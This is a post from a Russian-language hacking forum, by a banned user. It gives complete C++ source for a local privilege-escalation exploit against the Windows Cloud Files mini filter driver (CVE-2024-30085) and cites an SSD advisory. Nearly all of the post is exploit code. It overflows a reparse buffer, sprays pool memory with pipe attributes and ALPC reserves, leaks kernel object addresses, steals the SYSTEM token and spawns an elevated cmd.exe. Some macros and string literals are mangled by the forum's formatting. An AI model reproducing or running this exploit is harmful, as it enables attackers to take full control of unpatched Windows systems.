• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Windows Cloud Files Mini Filter Driver, CVE-2024-30085

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован

Affected Versions
: Windows 11 23H2

Истоник:
https://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe/

main.cpp
C++:
// main.cpp
#include <Windows.h>
#include <cfapi.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>

#include "main.h"

#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "ntdll.lib")

typedef struct _ALPC_MESSAGE_ATTRIBUTES {
  ULONG AllocatedAttributes;
  ULONG ValidAttributes;
}
ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;

typedef struct _ALPC_MESSAGE {
  PORT_MESSAGE PortHeader;
  BYTE PortMessage[1000];
}
ALPC_MESSAGE, * PALPC_MESSAGE;

/*
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
*/

/*
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemHandleInformation = 16,
    SystemBigPoolInformation = 66
} SYSTEM_INFORMATION_CLASS;
*/

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  HANDLE Section;
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR FullPathName[256];
}
RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
  ULONG NumberOfModules;
  RTL_PROCESS_MODULE_INFORMATION Modules[1];
}
RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
  unsigned short UniqueProcessId;
  unsigned short CreatorBackTraceIndex;
  unsigned char ObjectTypeIndex;
  unsigned char HandleAttributes;
  unsigned short HandleValue;
  void * Object;
  unsigned long GrantedAccess;
  long __PADDING__[1];
}
SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
  unsigned long NumberOfHandles;
  struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_BIGPOOL_ENTRY {
  union {
    PVOID VirtualAddress;
    ULONG_PTR NonPaged: 1;
  };
  SIZE_T SizeInBytes;
  union {
    UCHAR Tag[4];
    ULONG TagUlong;
  };
}
SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION {
  ULONG Count;
  SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
}
SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef NTSTATUS(NTAPI * NTFSCONTROLFILE)(
  IN HANDLE FileHandle,
  IN HANDLE Event OPTIONAL,
  IN PVOID ApcRoutine OPTIONAL,
  IN PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  IN ULONG FsControlCode,
  IN PVOID InputBuffer OPTIONAL,
  IN ULONG InputBufferLength,
  OUT PVOID OutputBuffer OPTIONAL,
  IN ULONG OutputBufferLength
);

extern "C"
NTSTATUS NTAPI NtAlpcCreatePort(
  _Out_ PHANDLE PortHandle,
  _In_ POBJECT_ATTRIBUTES ObjectAttributes,
  _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);

extern "C"
NTSTATUS NTAPI NtAlpcCreateResourceReserve(
  _In_ HANDLE PortHandle,
  _Reserved_ ULONG Flags,
  _In_ SIZE_T MessageSize,
  _Out_ PHANDLE ResourceId
);

extern "C"
NTSTATUS NTAPI NtAlpcSendWaitReceivePort(
  _In_ HANDLE PortHandle,
  _In_ ULONG Flags,
  _Inout_opt_ PPORT_MESSAGE SendMessage,
  _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
  _Inout_opt_ PPORT_MESSAGE ReceiveMessage,
  _Inout_opt_ PSIZE_T BufferLength,
  _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
  _In_opt_ PLARGE_INTEGER Timeout
);

NTFSCONTROLFILE NtFsControlFile;

PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
  DWORD dataLen = 0x3fe8;
  PBYTE data = new BYTE[dataLen];

  memset(data, 0, dataLen);
  *(PUSHORT) & data[0x0] = 0x0001;
  *(PUSHORT) & data[0x2] = 0x4000;

  PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER) & data[4];
  PBYTE p = (PBYTE) & cld -> Magic;
  cld -> Magic = REPARSE_BUFFER_MAGIC_VALUE;
  cld -> Reserved = 0x0000;
  cld -> NumItems = 0;
  cld -> Size = 0x3fe4;

  CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1}
  CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag
  CLD_ADD_ITEM(0x6, 8, 0x208); // ???
  CLD_ADD_ITEM(0, 0, 0); // dummy
  CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap

  *(PBYTE) & p[0x200] = 0x01;
  *(PULONG32) & p[0x204] = 0x00000000;
  *(PULONG64) & p[0x208] = 0x0000000000000000;

  cld = (PREPARSE_CLD_BUFFER) & p[0x210];
  p = (PBYTE) & cld -> Magic;
  cld -> Magic = REPARSE_BITMAP_MAGIC_VALUE;
  cld -> Reserved = 0x0000;
  cld -> NumItems = 0;
  cld -> Size = 0x3800;

  CLD_ADD_ITEM(0x7, 1, 0x100);
  CLD_ADD_ITEM(0x7, 1, 0x101);
  CLD_ADD_ITEM(0x7, 1, 0x102);
  CLD_ADD_ITEM(0x6, 8, 0x104);
  CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);

  *(PBYTE) & p[0x100] = 0x00;
  *(PBYTE) & p[0x101] = 0x01;
  *(PBYTE) & p[0x102] = 0x00;

  memcpy( & p[0x1110], overData, overSize);

  PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen];
  PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER) reparseBuffer;

  ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen);

  rd -> ReparseTag = IO_REPARSE_TAG_CLOUD;
  rd -> ReparseDataLength = dataLen;
  memcpy(rd -> GenericReparseBuffer.DataBuffer, data, dataLen);

  return rd;
}

BOOL GetObjAddr(PVOID * ppObjAddr, ULONG ulPid, HANDLE handle) {
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  ULONG ulBytes = 0;
  NTSTATUS ntRet;

  * ppObjAddr = NULL;

  while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 16, pHandleInfo, ulBytes, & ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
    if (pHandleInfo != NULL) {
      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(pHandleInfo, 2 * ulBytes);
    } else {
      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) calloc(1, 2 * ulBytes);
    }
  }

  if (!NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  for (ULONG i = 0; i < pHandleInfo -> NumberOfHandles; i++) {
    if ((pHandleInfo -> Handles[i].UniqueProcessId == ulPid) && (pHandleInfo -> Handles[i].HandleValue == (USHORT) handle)) {
      * ppObjAddr = pHandleInfo -> Handles[i].Object;
      break;
    }
  }

  Exit:
    if (pHandleInfo)
      free(pHandleInfo);

  return ( * ppObjAddr != NULL);
}

BOOL GetPoolAddr(PVOID * ppPoolAddr, UINT tag, SIZE_T poolSize) {
  NTSTATUS ntRet;
  BOOL bRet = FALSE;
  ULONG retlen;

  * ppPoolAddr = NULL;
  DWORD * info = (DWORD * ) malloc(0x1000);
  PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo;
  ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, 0x1000, & retlen);
  if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  info = (DWORD * ) realloc(info, retlen);
  ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, retlen, & retlen);
  if (!NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION) info;
  if (pBigPoolInfo -> Count == 0) {
    goto Exit;
  }
  for (ULONG i = pBigPoolInfo -> Count - 1; i >= 0; i--) {
    if ((pBigPoolInfo -> AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo -> AllocatedInfo[i].SizeInBytes == poolSize)) {
      * ppPoolAddr = pBigPoolInfo -> AllocatedInfo[i].VirtualAddress;
      bRet = TRUE;
      break;
    }
  }

  Exit:
    free(info);
  return bRet;
}

HANDLE g_readPipe;
HANDLE g_writePipe;

BOOL PipeInit() {
  return CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
}

BOOL PipeWriteAttr(VOID * attr, UINT attrSize) {
  IO_STATUS_BLOCK iosb;
  char output[0x100];
  NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &
    iosb, 0x11003C, attr, attrSize,
    output, sizeof(output));
  return NT_SUCCESS(ntRet);
}

BOOL PipeReadAttr(CHAR * pipeName, PVOID pOutput, SIZE_T outputSize) {
  IO_STATUS_BLOCK iosb;
  NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize);
  return NT_SUCCESS(ntRet);
}

BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE * pAttr, PCSTR szPrefix) {
  BOOL bRet = TRUE;
  SIZE_T attrSize = poolSize - 0x28;

  for (UINT i = 0; i < sprayCount; i++) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", szPrefix, i);
    if (!PipeWriteAttr(pAttr, attrSize)) {
      bRet = FALSE;
      break;
    }
  }

  return bRet;
}

HANDLE g_hResource = NULL;

BOOL AllocateALPCReserveHandles(HANDLE * phPorts, UINT portsCount, UINT reservesCount) {
  HANDLE hPort;
  HANDLE hResource;
  NTSTATUS ntRet;

  for (UINT i = 0; i < portsCount; i++) {
    hPort = phPorts[i];
    for (UINT j = 0; j < reservesCount; j++) {
      ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, & hResource);
      if (!NT_SUCCESS(ntRet))
        return FALSE;
      if (g_hResource == NULL) { // save only the very first
        g_hResource = hResource;
      }

    }
  }

  return TRUE;
}

BOOL isKernAddr(ULONG_PTR kaddr) {
  return ((kaddr & 0xffff800000000000) == 0xffff800000000000);
}

BOOL CreateALPCPorts() {
  ALPC_PORT_ATTRIBUTES portAttr;
  OBJECT_ATTRIBUTES oa;
  NTSTATUS status;
  UNICODE_STRING objName;
  WCHAR portName[100];

  for (UINT i = 0; i < g_portCount; i++) {
    swprintf_s(portName, 100, L "\\RPC Control\\TestPort_%d", i);
    RtlInitUnicodeString( & objName, portName);
    InitializeObjectAttributes( & oa, & objName, 0, 0, NULL);
    ZeroMemory( & portAttr, sizeof(portAttr));
    portAttr.MaxMessageLength = MAX_MSG_LEN;
    status = NtAlpcCreatePort( & g_ports[i], & oa, & portAttr);
    if (NT_SUCCESS(status) == FALSE) {
      return FALSE;
    }
  }

  return TRUE;
}

BOOL GetTokenOffset(PUINT offset) {
  BOOL result = FALSE;
  PBYTE peb;
  USHORT buildNumber;

  peb = * (PBYTE * )((PBYTE) NtCurrentTeb() + 0x60);
  buildNumber = * (PUINT16) & peb[0x120];

  if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) {
    * offset = 0x360;
    result = TRUE;
  } else if (buildNumber >= WINDOWS_BUILD_19H2) {
    * offset = 0x4b8;
    result = TRUE;
  }
  return result;
}

BOOL Initialize() {
  BOOL result;

  g_ports = (PHANDLE) HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE));
  if (g_ports == NULL) {
    return FALSE;
  }

  result = CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
  if (result == FALSE) {
    return FALSE;
  }

  result = CreateALPCPorts();
  if (result == FALSE) {
    return FALSE;
  }

  CONST ULONG poolAlHaSize = 0x1000;
  CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;

  printf("    allocating alpc reserve handles\n");
  result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1);
  if (!result) {
    return FALSE;
  }

  HMODULE ntdll;

  ntdll = LoadLibraryW(L "ntdll.dll");
  if (ntdll == NULL) {
    return FALSE;
  }

  NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(ntdll, "NtFsControlFile");
  if (NtFsControlFile == NULL) {
    return FALSE;
  }

  PKALPC_BLOB blob;

  blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
  if (blob == NULL) {
    return FALSE;
  }
  blob -> Ref = 1;
  blob -> Type = AlpcReserveType;
  g_reserve = (PKALPC_RESERVE) & blob -> Data;

  blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
  if (blob == NULL) {
    return FALSE;
  }
  blob -> Ref = 1;
  blob -> Type = AlpcMessageType;
  g_message = (PKALPC_MESSAGE) & blob -> Data;

  g_reserve -> Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve -> Size);
  g_reserve -> Message = g_message;
  g_message -> Reserve = g_reserve;

  return TRUE;
}

int main() {
  BOOL result;
  NTSTATUS status;
  UINT tokenOffset;

  printf("[*] Checking windows version...\n");
  if (GetTokenOffset( & tokenOffset) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("[*] Initializing...\n");
  if (Initialize() == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  CF_SYNC_REGISTRATION reg = {};
  reg.StructSize = sizeof(reg);
  reg.ProviderName = L "TestProvider";
  reg.ProviderVersion = L "1234";
  reg.ProviderId = {
    0xB196E670,
    0x59C7,
    0x4D41,
    {
      0
    }
  };

  CF_SYNC_POLICIES pol = {};
  pol.StructSize = sizeof(pol);
  pol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
  pol.InSync = CF_INSYNC_POLICY_NONE;
  pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
  pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;

  CF_CONNECTION_KEY key = {};
  CF_CALLBACK_REGISTRATION table[1] = {
    CF_CALLBACK_REGISTRATION_END
  };

  WCHAR targetDir[MAX_PATH + 1] = {};
  WCHAR targetPath[MAX_PATH + 1] = {};
  WCHAR tmpPath[MAX_PATH + 1] = {};

  GetCurrentDirectory(MAX_PATH, targetDir);
  swprintf_s(targetPath, L "%s\\SYNC_ROOT", targetDir);

  CfUnregisterSyncRoot(targetPath);
  RemoveDirectory(targetPath);

  printf("    registering provider\n");
  result = CreateDirectory(targetPath, NULL);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfRegisterSyncRoot(targetPath, & reg, & pol, CF_REGISTER_FLAG_NONE);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, & key);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("    creating reparse point\n");
  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  result = CreateDirectory(tmpPath, NULL);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetDir);
  result = MoveFile(targetPath, tmpPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("    setting reparse data\n");

  IO_STATUS_BLOCK iosb = {};
  OBJECT_ATTRIBUTES objAttr = {};
  UNICODE_STRING objName = {};
  WCHAR path[MAX_PATH];
  HANDLE file;

  swprintf_s(path, MAX_PATH, L "\\??\\%s%s", targetDir, L "\\XXX\\XXX");

  RtlInitUnicodeString( & objName, path);
  InitializeObjectAttributes( & objAttr, & objName, 0x40, 0, NULL);

  status = NtCreateFile( & file, GENERIC_READ | GENERIC_WRITE, & objAttr, & iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  PREPARSE_DATA_BUFFER rd = MakeDataBuffer( & g_reserve, sizeof(g_reserve));
  if (rd == NULL) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = NtFsControlFile(file, NULL, NULL, NULL, & iosb, FSCTL_SET_REPARSE_POINT, rd, rd -> ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0);

  CloseHandle(file);

  swprintf_s(tmpPath, L "%s\\XXX", targetDir);
  result = MoveFile(tmpPath, targetPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  // Trigger
  ULONG attrSize = 0x1000;
  BYTE * pAttr = (BYTE * ) calloc(attrSize + 10, sizeof(BYTE));
  memset(pAttr, 0, attrSize);

  result = PipePoolSprayAlloc(0x1000, 1, pAttr, "x");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  UINT holesCount = 0;
  for (int i = 0; i < SPRAY_COUNT; i += 2) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
    if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
      printf("[-] Error\n");
      return FALSE;
    }
    holesCount++;
  }

  result = AllocateALPCReserveHandles(g_ports, g_portCount, 1);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  for (int i = 1; i < SPRAY_COUNT; i += 2) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
    if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
      printf("[-] Error\n");
      return FALSE;
    }
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

  printf("[*] Cleaning up...\n");
  status = CfDisconnectSyncRoot(key);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfUnregisterSyncRoot(targetPath);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  result = RemoveDirectory(tmpPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = RemoveDirectory(targetPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("[*] Entering interactive session...\n");

  ULONG_PTR ullEPROCaddr = NULL;
  ULONG_PTR ullSystemEPROCaddr = NULL;
  DWORD dwPid = GetCurrentProcessId();

  HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
  if (hProc == NULL) {
    printf("[-] Error\n");
    return FALSE;
  }

  CONST UINT PIPE_ATTR_TAG = 0x7441704E;
  ULONG_PTR ullPipeAttributeAddr = NULL;
  result = GetPoolAddr((PVOID * ) & ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = GetObjAddr((PVOID * ) & ullSystemEPROCaddr, 4, (HANDLE) 4);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = GetObjAddr((PVOID * ) & ullEPROCaddr, GetCurrentProcessId(), hProc);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  CHAR pipeName[] = "xxx";
  BYTE * outputData = (BYTE * ) calloc(1, 0x1000);
  ULONG_PTR ullToken;
  LIST_ENTRY tmpEntry;

  g_message -> ExtensionBuffer = (BYTE * ) ullPipeAttributeAddr + 0x20;
  g_message -> ExtensionBufferSize = 0x10;

  ULONG DataLength = 0x10;
  ALPC_MESSAGE * alpcMessage = (ALPC_MESSAGE * ) calloc(1, sizeof(ALPC_MESSAGE));
  alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
  alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
  alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
  ULONG_PTR * pAlpcMsgData = (ULONG_PTR * )((BYTE * ) alpcMessage + sizeof(PORT_MESSAGE));
  pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
  pAlpcMsgData[1] = 0x00787878; // name
  for (int i = 0; i < g_portCount; i++) {
    status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
    if (!NT_SUCCESS(status)) {
      printf("[-] Error\n");
      return FALSE;
    }
  }

  // read system token
  result = PipeReadAttr(pipeName, outputData, 0x1000);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  ullToken = * (ULONG_PTR * )(outputData + tokenOffset);
  tmpEntry = g_message -> Entry;

  if (!isKernAddr(ullToken)) {
    printf("[-] Error\n");
    return FALSE;
  }

  PKALPC_BLOB blob;

  blob = (PKALPC_BLOB)(g_reserve) - 1;
  memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
  blob -> Ref = 1;
  blob -> Type = AlpcReserveType;
  g_reserve -> Size = 0x28;
  g_reserve -> Message = g_message;

  blob = (PKALPC_BLOB)(g_message) - 1;
  memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
  blob -> Ref = 1;
  blob -> Type = AlpcMessageType;
  g_message -> Reserve = g_reserve;
  g_message -> ExtensionBuffer = (BYTE * ) ullEPROCaddr + tokenOffset;
  g_message -> ExtensionBufferSize = 8;

  DataLength = 8;
  memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
  alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
  alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
  alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
  pAlpcMsgData[0] = ullToken;
  for (int i = 0; i < g_portCount; i++) {
    NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
  }
  g_message -> Entry = tmpEntry;

  STARTUPINFO StartupInfo = {
    0
  };
  PROCESS_INFORMATION ProcessInformation = {
    0
  };

  result = CreateProcess(
    L "C:\\Windows\\System32\\cmd.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL, &
    StartupInfo, &
    ProcessInformation
  );
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  while (1) {};
}

main.h
C++:
#pragma once

/*
    Definitions (main.h)
*/

#define MAX_MSG_LEN 0x500
#define ALPC_MSGFLG_NONE 0x0
#define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS) 0xC0000004 L)
#define WINDOWS_BUILD_19H1 18362
#define WINDOWS_BUILD_19H2 18363
#define SPRAY_COUNT 0x1000
#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
#define TARGET_PATH L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\SYNC_ROOT"
#define TARGET_DIR L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\"
#define CLD_ADD_ITEM(tag, size, offset) {
  cld -> Items[cld -> NumItems].Tag = tag;
  cld -> Items[cld -> NumItems].Size = size;
  cld -> Items[cld -> NumItems].Offset = offset;
  cld -> NumItems++;
}

/*
    Structs
*/

typedef enum _KALPC_BLOB_TYPE {
  AlpcMessageType = 0x200,
    AlpcReserveType = 0x700
}
KALPC_BLOB_TYPE;

typedef struct _PORT_MESSAGE {
  union {
    struct {
      USHORT DataLength;
      USHORT TotalLength;
    }
    s1;
    ULONG Length;
  }
  u1;
  union {
    struct {
      USHORT Type;
      USHORT DataInfoOffset;
    }
    s2;
    ULONG ZeroInit;
  }
  u2;
  union {
    CLIENT_ID ClientId;
    double DoNotUseThisField;
  };
  ULONG MessageId;
  union {
    SIZE_T ClientViewSize;
    ULONG CallbackId;
  };
}
PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _KALPC_BLOB {
  ULONGLONG Type;
  LONGLONG Ref;
  ULONGLONG Reserved1;
  ULONGLONG Reserved2;
  CHAR Data[];
}
KALPC_BLOB, * PKALPC_BLOB;

typedef struct _KALPC_MESSAGE {
  struct _LIST_ENTRY Entry;
  struct _ALPC_PORT * PortQueue;
  struct _ALPC_PORT * OwnerPort;
  struct _ETHREAD * WaitingThread;
  union {
    struct {
      ULONG QueueType: 3;
      ULONG QueuePortType: 4;
      ULONG Canceled: 1;
      ULONG Ready: 1;
      ULONG ReleaseMessage: 1;
      ULONG SharedQuota: 1;
      ULONG ReplyWaitReply: 1;
      ULONG OwnerPortReference: 1;
      ULONG ReceiverReference: 1;
      ULONG ViewAttributeRetrieved: 1;
      ULONG ViewAttributeDeleteOnRelease: 1;
      ULONG InDispatch: 1;
      ULONG InCanceledQueue: 1;
    }
    s1;
    ULONG State;
  }
  u1;
  LONG SequenceNo;
  union {
    struct _EPROCESS * QuotaProcess;
    VOID * QuotaBlock;
  };
  struct _ALPC_PORT * CancelSequencePort;
  struct _ALPC_PORT * CancelQueuePort;
  LONG CancelSequenceNo;
  struct _LIST_ENTRY CancelListEntry;
  struct _KALPC_RESERVE * Reserve;
  BYTE MessageAttributesStub[0x48];
  VOID * DataUserVa;
  struct _ALPC_COMMUNICATION_INFO * CommunicationInfo;
  struct _ALPC_PORT * ConnectionPort;
  struct _ETHREAD * ServerThread;
  VOID * WakeReference;
  VOID * WakeReference2;
  VOID * ExtensionBuffer;
  ULONGLONG ExtensionBufferSize;
  struct _PORT_MESSAGE PortMessage;
}
KALPC_MESSAGE, * PKALPC_MESSAGE;

typedef struct _KALPC_RESERVE {
  struct _ALPC_PORT * OwnerPort;
  struct _ALPC_HANDLE_TABLE * HandleTable;
  VOID * Handle;
  struct _KALPC_MESSAGE * Message;
  ULONGLONG Size;
  LONG Active;
}
KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _ALPC_PORT_ATTRIBUTES {
  unsigned long Flags;
  SECURITY_QUALITY_OF_SERVICE SecurityQos;
  unsigned __int64 MaxMessageLength;
  unsigned __int64 MemoryBandwidth;
  unsigned __int64 MaxPoolUsage;
  unsigned __int64 MaxSectionSize;
  unsigned __int64 MaxViewSize;
  unsigned __int64 MaxTotalSectionSize;
  ULONG DupObjectTypes;
  #ifdef _WIN64
  ULONG Reserved;
  #endif
}
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

typedef struct _REPARSE_DATA_BUFFER {
  ULONG ReparseTag;
  USHORT ReparseDataLength;
  USHORT Reserved;
  union {
    struct {
      USHORT SubstituteNameOffset;
      USHORT SubstituteNameLength;
      USHORT PrintNameOffset;
      USHORT PrintNameLength;
      ULONG Flags;
      WCHAR PathBuffer[1];
    }
    SymbolicLinkReparseBuffer;
    struct {
      USHORT SubstituteNameOffset;
      USHORT SubstituteNameLength;
      USHORT PrintNameOffset;
      USHORT PrintNameLength;
      WCHAR PathBuffer[1];
    }
    MountPointReparseBuffer;
    struct {
      UCHAR DataBuffer[1];
    }
    GenericReparseBuffer;
  }
  DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct {
  WORD Tag;
  WORD Size;
  DWORD Offset;
}
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;

typedef struct {
  DWORD Magic;
  DWORD Crc32;
  DWORD Size;
  WORD Reserved;
  WORD NumItems;
  REPRASE_CLD_ITEM Items[];
}
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;

/*
    Globals
*/

UINT g_portCount = SPRAY_COUNT;
PHANDLE g_ports;
PKALPC_RESERVE g_reserve;
PKALPC_MESSAGE g_message;
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх